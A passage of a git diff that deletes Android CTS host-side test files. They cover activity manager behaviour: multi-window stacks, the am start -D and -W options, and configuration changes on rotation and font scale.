-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
-        launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME, TEST_ACTIVITY_NAME});
-        launchActivityInStack(TRANSLUCENT_ACTIVITY_NAME, DOCKED_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME,
-                TRANSLUCENT_ACTIVITY_NAME}, false /* compareTaskAndStackBounds */);
-        mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain fullscreen stack",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
-        mAmWmState.assertVisibility(TRANSLUCENT_ACTIVITY_NAME, true);
-    }
-
-    public void testTurnScreenOnActivity() throws Exception {
-        lockDevice();
-        executeShellCommand(getAmStartCmd(TURN_SCREEN_ON_ACTIVITY_NAME));
-        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY_NAME, true);
-    }
-
-    public void testFinishActivityInNonFocusedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        // Launch two activities in docked stack.
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        launchActivity(false /* toSide */, false /* randomData */, false /* multipleTaskFlag */,
-                BROADCAST_RECEIVER_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] { BROADCAST_RECEIVER_ACTIVITY });
-        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
-        // Launch something to fullscreen stack to make it focused.
-        launchActivityInStack(TEST_ACTIVITY_NAME, 1);
-        mAmWmState.computeState(mDevice, new String[] { TEST_ACTIVITY_NAME });
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
-        // Finish activity in non-focused (docked) stack.
-        executeShellCommand("am broadcast -a trigger_broadcast --ez finish true");
-        mAmWmState.computeState(mDevice, new String[] { LAUNCHING_ACTIVITY });
-        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, false);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
deleted file mode 100644
index 0083be4..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
+++ /dev/null
@@ -1,228 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-public class ActivityManagerAmStartOptionsTests extends ActivityManagerTestBase {
-
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String ENTRYPOINT_ACTIVITY_NAME = "EntryPointAliasActivity";
-    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
-
-    public void testDashD() throws Exception {
-        final String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
-        AmStartLogcatVerifier verifier = new AmStartLogcatVerifier("android.server.app", TEST_ACTIVITY_NAME);
-
-        // Run at least 2 rounds to verify that -D works with an existing process.
-        // -D could fail in this case if the force stop of process is broken.
-        for (int i = 0; i < 2; i++) {
-            clearLogcat();
-            executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME) + " -D");
-
-            // visibleOnly=false as the first window popping up will be the debugger window.
-            mAmWmState.computeState(mDevice, false, waitForActivitiesVisible);
-            verifier.verifyDashD();
-        }
-    }
-
-    public void testDashW_Direct() throws Exception {
-        testDashW(SINGLE_TASK_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
-    }
-
-    public void testDashW_Indirect() throws Exception {
-        testDashW(ENTRYPOINT_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
-    }
-
-    private void testDashW(final String entryActivity, final String actualActivity)
-            throws Exception {
-        AmStartLogcatVerifier verifier = new AmStartLogcatVerifier("android.server.app", actualActivity);
-
-        // Test cold start
-        startActivityAndVerifyResult(verifier, entryActivity, actualActivity, true);
-
-        // Test warm start
-        pressHomeButton();
-        startActivityAndVerifyResult(verifier, entryActivity, actualActivity, false);
-
-        // Test "hot" start (app already in front)
-        startActivityAndVerifyResult(verifier, entryActivity, actualActivity, false);
-    }
-
-    private static final Pattern sNotStartedWarningPattern = Pattern.compile(
-            "Warning: Activity not started(.*)");
-    private static final Pattern sStatusPattern = Pattern.compile(
-            "Status: (.*)");
-    private static final Pattern sActivityPattern = Pattern.compile(
-            "Activity: (.*)");
-    private static final String sStatusOk = "ok";
-
-    private void startActivityAndVerifyResult(
-            final AmStartLogcatVerifier verifier, final String entryActivity,
-            final String actualActivity, boolean shouldStart) throws Exception {
-        clearLogcat();
-
-        // Pass in different data only when cold starting. This is to make the intent
-        // different in subsequent warm/hot launches, so that the entrypoint alias
-        // activity is always started, but the actual activity is not started again
-        // because of the NEW_TASK and singleTask flags.
-        final String result = executeShellCommand(getAmStartCmd(entryActivity) + " -W"
-                + (shouldStart ? " -d about:blank" : ""));
-
-        // Verify shell command return value
-        verifyShellOutput(result, actualActivity, shouldStart);
-
-        // Verify adb logcat log
-        verifier.verifyDashW(shouldStart);
-    }
-
-    private void verifyShellOutput(
-            final String result, final String activity, boolean shouldStart) {
-        boolean warningFound = false;
-        String status = null;
-        String reportedActivity = null;
-        String componentActivityName = getActivityComponentName(activity);
-
-        for (String line : result.split("\\n")) {
-            Matcher matcher = sNotStartedWarningPattern.matcher(line);
-            if (matcher.matches()) {
-                warningFound = true;
-                continue;
-            }
-            matcher = sStatusPattern.matcher(line);
-            if (matcher.matches()) {
-                status = matcher.group(1);
-                continue;
-            }
-            matcher = sActivityPattern.matcher(line);
-            if (matcher.matches()) {
-                reportedActivity = matcher.group(1);
-                continue;
-            }
-        }
-
-        assertTrue("Status " + status + " is not ok", sStatusOk.equals(status));
-        assertTrue("Reported activity is " + reportedActivity + " not " + componentActivityName,
-                componentActivityName.equals(reportedActivity));
-
-        if (shouldStart && warningFound) {
-            fail("Should start new activity but brought something to front.");
-        } else if (!shouldStart && !warningFound){
-            fail("Should bring existing activity to front but started new activity.");
-        }
-    }
-
-    private static final Pattern sStartProcPattern =
-            Pattern.compile("(.+): Start proc (\\d+):(.*) for activity (.*)");
-    private static final Pattern sKillingPattern =
-            Pattern.compile("(.+): Killing (\\d+):(.*)");
-    private static final Pattern sWaitingForDebuggerPattern =
-            Pattern.compile("(.+): Application (.+) is waiting for the debugger (.*)");
-    private static final Pattern sDisplayTimePattern =
-            Pattern.compile("(.+): Displayed (.*): (\\+{0,1})([0-9]+)ms(.*)");
-
-    private class AmStartLogcatVerifier {
-        private String mPrevProcId;
-        private final String mPackageName;
-        private final String mActivityName;
-
-        AmStartLogcatVerifier(String packageName, String activityName) {
-            mPackageName = packageName;
-            mActivityName = activityName;
-        }
-
-        void verifyDashD() throws DeviceNotAvailableException {
-            boolean prevProcKilled = false;;
-            boolean waitingForDebugger = false;
-            String newProcId = null;
-            final String[] componentNames = new String[] {"ActivityManager", "ActivityThread"};
-
-            for (String line : getDeviceLogsForComponents(componentNames)) {
-                line = line.trim();
-
-                Matcher matcher = sStartProcPattern.matcher(line);
-                if (matcher.matches()) {
-                    final String activity = matcher.group(4);
-                    if (activity.contains(mActivityName)) {
-                        newProcId = matcher.group(2);
-                    }
-                    continue;
-                }
-
-                matcher = sKillingPattern.matcher(line);
-                if (matcher.matches()) {
-                    final String procId = matcher.group(2);
-                    if (procId.equals(mPrevProcId)) {
-                        prevProcKilled = true;
-                    }
-                    continue;
-                }
-
-                matcher = sWaitingForDebuggerPattern.matcher(line);
-                if (matcher.matches()) {
-                    final String packageName = matcher.group(2);
-                    if (packageName.equals(mPackageName)) {
-                        waitingForDebugger = true;
-                    }
-                    continue;
-                }
-            }
-
-            assertTrue("Didn't kill exisiting proc " + mPrevProcId + ".",
-                    mPrevProcId == null || prevProcKilled);
-            assertTrue("Didn't start new proc.", newProcId != null);
-            assertTrue("Didn't wait for debugger.", waitingForDebugger);
-
-            mPrevProcId = newProcId;
-        }
-
-        void verifyDashW(boolean shouldStart) throws DeviceNotAvailableException {
-            int displayCount = 0;
-            String activityName = null;
-
-            for (String line : getDeviceLogsForComponent("ActivityManager")) {
-                line = line.trim();
-
-                Matcher matcher = sDisplayTimePattern.matcher(line);
-                if (matcher.matches()) {
-                    activityName = matcher.group(2);
-                    // Ignore activitiy displays from other packages, we don't
-                    // want some random activity starts to ruin our test.
-                    if (!activityName.startsWith("android.server.app")) {
-                        continue;
-                    }
-                    if (!shouldStart) {
-                        fail("Shouldn't display anything but displayed " + activityName);
-                    }
-                    displayCount++;
-                }
-            }
-            final String expectedActivityName = getActivityComponentName(mActivityName);
-            if (shouldStart) {
-                if (displayCount != 1) {
-                    fail("Should display exactly one activity but displayed " + displayCount);
-                } else if (!expectedActivityName.equals(activityName)) {
-                    fail("Should display " + expectedActivityName +
-                            " but displayed " + activityName);
-                }
-            }
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
deleted file mode 100644
index a5c3149..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ /dev/null
@@ -1,350 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-import java.util.List;
-
-public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
-    private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-
-    /**
-     * Tests that the WindowManager#getDefaultDisplay() and the Configuration of the Activity
-     * has an updated size when the Activity is resized from fullscreen to docked state.
-     *
-     * The Activity handles configuration changes, so it will not be restarted between resizes.
-     * On Configuration changes, the Activity logs the Display size and Configuration width
-     * and heights. The values reported in fullscreen should be larger than those reported in
-     * docked state.
-     */
-    public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-
-        moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
-        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-
-        assertSizesAreSane(fullscreenSizes, dockedSizes);
-    }
-
-    /**
-     * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
-     * from docked state to fullscreen (reverse).
-     */
-    public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
-        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-
-        moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-
-        assertSizesAreSane(fullscreenSizes, dockedSizes);
-    }
-
-    /**
-     * Tests whether the Display sizes change when rotating the device.
-     */
-    public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
-        if (!supportsScreenRotation()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
-            return;
-        }
-
-        setDeviceRotation(0);
-        launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-
-        rotateAndCheckSizes(initialSizes);
-    }
-
-    /**
-     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
-     * is in the docked stack.
-     */
-    public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
-        if (!supportsScreenRotation()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
-            return;
-        }
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        setDeviceRotation(0);
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        // Launch our own activity to side in case Recents (or other activity to side) doesn't
-        // support rotation.
-        launchActivityToSide(false /* randomData */, false /* multipleTask */, TEST_ACTIVITY_NAME);
-        // Launch target activity in docked stack.
-        launchActivity(false /* toSide */, false /* randomData */, false /* multipleTask */,
-                RESIZEABLE_ACTIVITY_NAME);
-        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-
-        rotateAndCheckSizes(initialSizes);
-    }
-
-    /**
-     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileDocked()} but when the Activity
-     * is launched to side from docked stack.
-     */
-    public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
-        if (!supportsScreenRotation()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
-            return;
-        }
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        setDeviceRotation(0);
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        launchActivityToSide(false /* randomData */, false /* multipleTaskFlag */,
-                RESIZEABLE_ACTIVITY_NAME);
-        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-
-        rotateAndCheckSizes(initialSizes);
-    }
-
-    private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
-        for (int rotation = 3; rotation >= 0; --rotation) {
-            clearLogcat();
-            final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
-                    RESIZEABLE_ACTIVITY_NAME).mStackId;
-            final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
-            setDeviceRotation(rotation);
-            final int newDeviceRotation = getDeviceRotation(displayId);
-            if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
-                CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
-                        + "Continuing the test despite of that, but it is likely to fail.");
-            } else if (rotation != newDeviceRotation) {
-                CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support locked user "
-                        + "rotation mode. Not continuing the rotation checks.");
-                return;
-            }
-
-            final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME);
-            assertSizesRotate(prevSizes, rotatedSizes);
-            prevSizes = rotatedSizes;
-        }
-    }
-
-    /**
-     * Tests when activity moved from fullscreen stack to docked and back. Activity will be
-     * relaunched twice and it should have same config as initial one.
-     */
-    public void testSameConfigurationFullSplitFullRelaunch() throws Exception {
-        moveActivityFullSplitFull(TEST_ACTIVITY_NAME);
-    }
-
-    /**
-     * Same as {@link #testSameConfigurationFullSplitFullRelaunch} but without relaunch.
-     */
-    public void testSameConfigurationFullSplitFullNoRelaunch() throws Exception {
-        moveActivityFullSplitFull(RESIZEABLE_ACTIVITY_NAME);
-    }
-
-    /**
-     * Launches activity in fullscreen stack, moves to docked stack and back to fullscreen stack.
-     * Last operation is done in a way which simulates split-screen divider movement maximizing
-     * docked stack size and then moving task to fullscreen stack - the same way it is done when
-     * user long-presses overview/recents button to exit split-screen.
-     * Asserts that initial and final reported sizes in fullscreen stack are the same.
-     */
-    private void moveActivityFullSplitFull(String activityName) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        // Launch to fullscreen stack and record size.
-        launchActivityInStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes initialFullscreenSizes = getActivityDisplaySize(activityName);
-        final Rectangle displayRect = getDisplayRect(activityName);
-
-        // Move to docked stack.
-        moveActivityToStack(activityName, DOCKED_STACK_ID);
-        final ReportedSizes dockedSizes = getActivityDisplaySize(activityName);
-        assertSizesAreSane(initialFullscreenSizes, dockedSizes);
-        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
-        // will come up.
-        launchActivityInStack(activityName, DOCKED_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] { activityName },
-                false /* compareTaskAndStackBounds */);
-
-        // Resize docked stack to fullscreen size. This will trigger activity relaunch with
-        // non-empty override configuration corresponding to fullscreen size.
-        runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
-                + displayRect.width + " " + displayRect.height);
-        // Move activity back to fullscreen stack.
-        moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes finalFullscreenSizes = getActivityDisplaySize(activityName);
-
-        // After activity configuration was changed twice it must report same size as original one.
-        assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
-    }
-
-    /**
-     * Tests when activity moved from docked stack to fullscreen and back. Activity will be
-     * relaunched twice and it should have same config as initial one.
-     */
-    public void testSameConfigurationSplitFullSplitRelaunch() throws Exception {
-        moveActivitySplitFullSplit(TEST_ACTIVITY_NAME);
-    }
-
-    /**
-     * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
-     */
-    public void testSameConfigurationSplitFullSplitNoRelaunch() throws Exception {
-        moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY_NAME);
-    }
-
-    /**
-     * Launches activity in docked stack, moves to fullscreen stack and back to docked stack.
-     * Asserts that initial and final reported sizes in docked stack are the same.
-     */
-    private void moveActivitySplitFullSplit(String activityName) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        // Launch to docked stack and record size.
-        launchActivityInStack(activityName, DOCKED_STACK_ID);
-        final ReportedSizes initialDockedSizes = getActivityDisplaySize(activityName);
-        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
-        // will come up.
-        launchActivityInStack(activityName, DOCKED_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] { activityName },
-                false /* compareTaskAndStackBounds */);
-
-        // Move to fullscreen stack.
-        moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
-        final ReportedSizes fullscreenSizes = getActivityDisplaySize(activityName);
-        assertSizesAreSane(fullscreenSizes, initialDockedSizes);
-
-        // Move activity back to docked stack.
-        moveActivityToStack(activityName, DOCKED_STACK_ID);
-        final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName);
-
-        // After activity configuration was changed twice it must report same size as original one.
-        assertSizesAreSame(initialDockedSizes, finalDockedSizes);
-    }
-
-    /**
-     * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
-     * have flipped.
-     */
-    private static void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
-            throws Exception {
-        assertEquals(rotationA.displayWidth, rotationA.metricsWidth);
-        assertEquals(rotationA.displayHeight, rotationA.metricsHeight);
-        assertEquals(rotationB.displayWidth, rotationB.metricsWidth);
-        assertEquals(rotationB.displayHeight, rotationB.metricsHeight);
-
-        final boolean beforePortrait = rotationA.displayWidth < rotationA.displayHeight;
-        final boolean afterPortrait = rotationB.displayWidth < rotationB.displayHeight;
-        assertFalse(beforePortrait == afterPortrait);
-
-        final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
-        final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
-        assertEquals(beforePortrait, beforeConfigPortrait);
-        assertEquals(afterPortrait, afterConfigPortrait);
-
-        assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
-    }
-
-    /**
-     * Throws an AssertionError if fullscreenSizes has widths/heights (depending on aspect ratio)
-     * that are smaller than the dockedSizes.
-     */
-    private static void assertSizesAreSane(ReportedSizes fullscreenSizes, ReportedSizes dockedSizes)
-            throws Exception {
-        final boolean portrait = fullscreenSizes.displayWidth < fullscreenSizes.displayHeight;
-        if (portrait) {
-            assertTrue(dockedSizes.displayHeight < fullscreenSizes.displayHeight);
-            assertTrue(dockedSizes.heightDp < fullscreenSizes.heightDp);
-            assertTrue(dockedSizes.metricsHeight < fullscreenSizes.metricsHeight);
-        } else {
-            assertTrue(dockedSizes.displayWidth < fullscreenSizes.displayWidth);
-            assertTrue(dockedSizes.widthDp < fullscreenSizes.widthDp);
-            assertTrue(dockedSizes.metricsWidth < fullscreenSizes.metricsWidth);
-        }
-    }
-
-    /**
-     * Throws an AssertionError if sizes are different.
-     */
-    private static void assertSizesAreSame(ReportedSizes firstSize, ReportedSizes secondSize)
-            throws Exception {
-        assertEquals(firstSize.widthDp, secondSize.widthDp);
-        assertEquals(firstSize.heightDp, secondSize.heightDp);
-        assertEquals(firstSize.displayWidth, secondSize.displayWidth);
-        assertEquals(firstSize.displayHeight, secondSize.displayHeight);
-        assertEquals(firstSize.metricsWidth, secondSize.metricsWidth);
-        assertEquals(firstSize.metricsHeight, secondSize.metricsHeight);
-        assertEquals(firstSize.smallestWidthDp, secondSize.smallestWidthDp);
-    }
-
-    private ReportedSizes getActivityDisplaySize(String activityName) throws Exception {
-        mAmWmState.computeState(mDevice, new String[] { activityName },
-                false /* compareTaskAndStackBounds */);
-        final ReportedSizes details = getLastReportedSizesForActivity(activityName);
-        assertNotNull(details);
-        return details;
-    }
-
-    private Rectangle getDisplayRect(String activityName)
-            throws Exception {
-        final String windowName = getWindowName(activityName);
-
-        mAmWmState.computeState(mDevice, true /* visibleOnly */, new String[] {activityName});
-
-        mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
-
-        final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
-        mAmWmState.getWmState().getMatchingWindowState(windowName, tempWindowList);
-
-        assertEquals("Should have exactly one window state for the activity.", 1,
-                tempWindowList.size());
-
-        WindowManagerState.WindowState windowState = tempWindowList.get(0);
-        assertNotNull("Should have a valid window", windowState);
-
-        WindowManagerState.Display display = mAmWmState.getWmState()
-                .getDisplay(windowState.getDisplayId());
-        assertNotNull("Should be on a display", display);
-
-        return display.getDisplayRect();
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
deleted file mode 100644
index d9c8bd0..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerConfigChangeTests.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-public class ActivityManagerConfigChangeTests extends ActivityManagerTestBase {
-
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-
-    public void testRotation90Relaunch() throws Exception{
-        if (!supportsScreenRotation()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
-            return;
-        }
-
-        // Should relaunch on every rotation and receive no onConfigurationChanged()
-        testRotation(TEST_ACTIVITY_NAME, 1, 1, 0);
-    }
-
-    public void testRotation90NoRelaunch() throws Exception {
-        if (!supportsScreenRotation()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
-            return;
-        }
-
-        // Should receive onConfigurationChanged() on every rotation and no relaunch
-        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 1, 0, 1);
-    }
-
-    public void testRotation180Relaunch() throws Exception {
-        // Should receive nothing
-        testRotation(TEST_ACTIVITY_NAME, 2, 0, 0);
-    }
-
-    public void testRotation180NoRelaunch() throws Exception {
-        // Should receive nothing
-        testRotation(NO_RELAUNCH_ACTIVITY_NAME, 2, 0, 0);
-    }
-
-    public void testChangeFontScaleRelaunch() throws Exception {
-        // Should relaunch and receive no onConfigurationChanged()
-        testChangeFontScale(TEST_ACTIVITY_NAME, true);
-    }
-
-    public void testChangeFontScaleNoRelaunch() throws Exception {
-        // Should receive onConfigurationChanged() and no relaunch
-        testChangeFontScale(NO_RELAUNCH_ACTIVITY_NAME, false);
-    }
-
-    private void testRotation(
-            String activityName, int rotationStep, int numRelaunch, int numConfigChange)
-                    throws Exception {
-        executeShellCommand(getAmStartCmd(activityName));
-
-        final String[] waitForActivitiesVisible = new String[] {activityName};
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        final int initialRotation = 4 - rotationStep;
-        setDeviceRotation(initialRotation);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
-                activityName).mStackId;
-        final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
-        final int newDeviceRotation = getDeviceRotation(displayId);
-        if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
-            CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
-                    + "Continuing the test despite of that, but it is likely to fail.");
-        } else if (newDeviceRotation != initialRotation) {
-            CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support user rotation "
-                    + "mode. Not continuing the rotation checks.");
-            return;
-        }
-
-        for (int rotation = 0; rotation < 4; rotation += rotationStep) {
-            clearLogcat();
-            setDeviceRotation(rotation);
-            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-            assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange);
-        }
-    }
-
-    private void testChangeFontScale(
-            String activityName, boolean relaunch) throws Exception {
-        executeShellCommand(getAmStartCmd(activityName));
-        final String[] waitForActivitiesVisible = new String[] {activityName};
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        setFontScale(1.0f);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
-            clearLogcat();
-            setFontScale(fontScale);
-            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-            assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1);
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
deleted file mode 100644
index 773584e..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerDockedStackTests.java
+++ /dev/null
@@ -1,435 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-
-public class ActivityManagerDockedStackTests extends ActivityManagerTestBase {
-
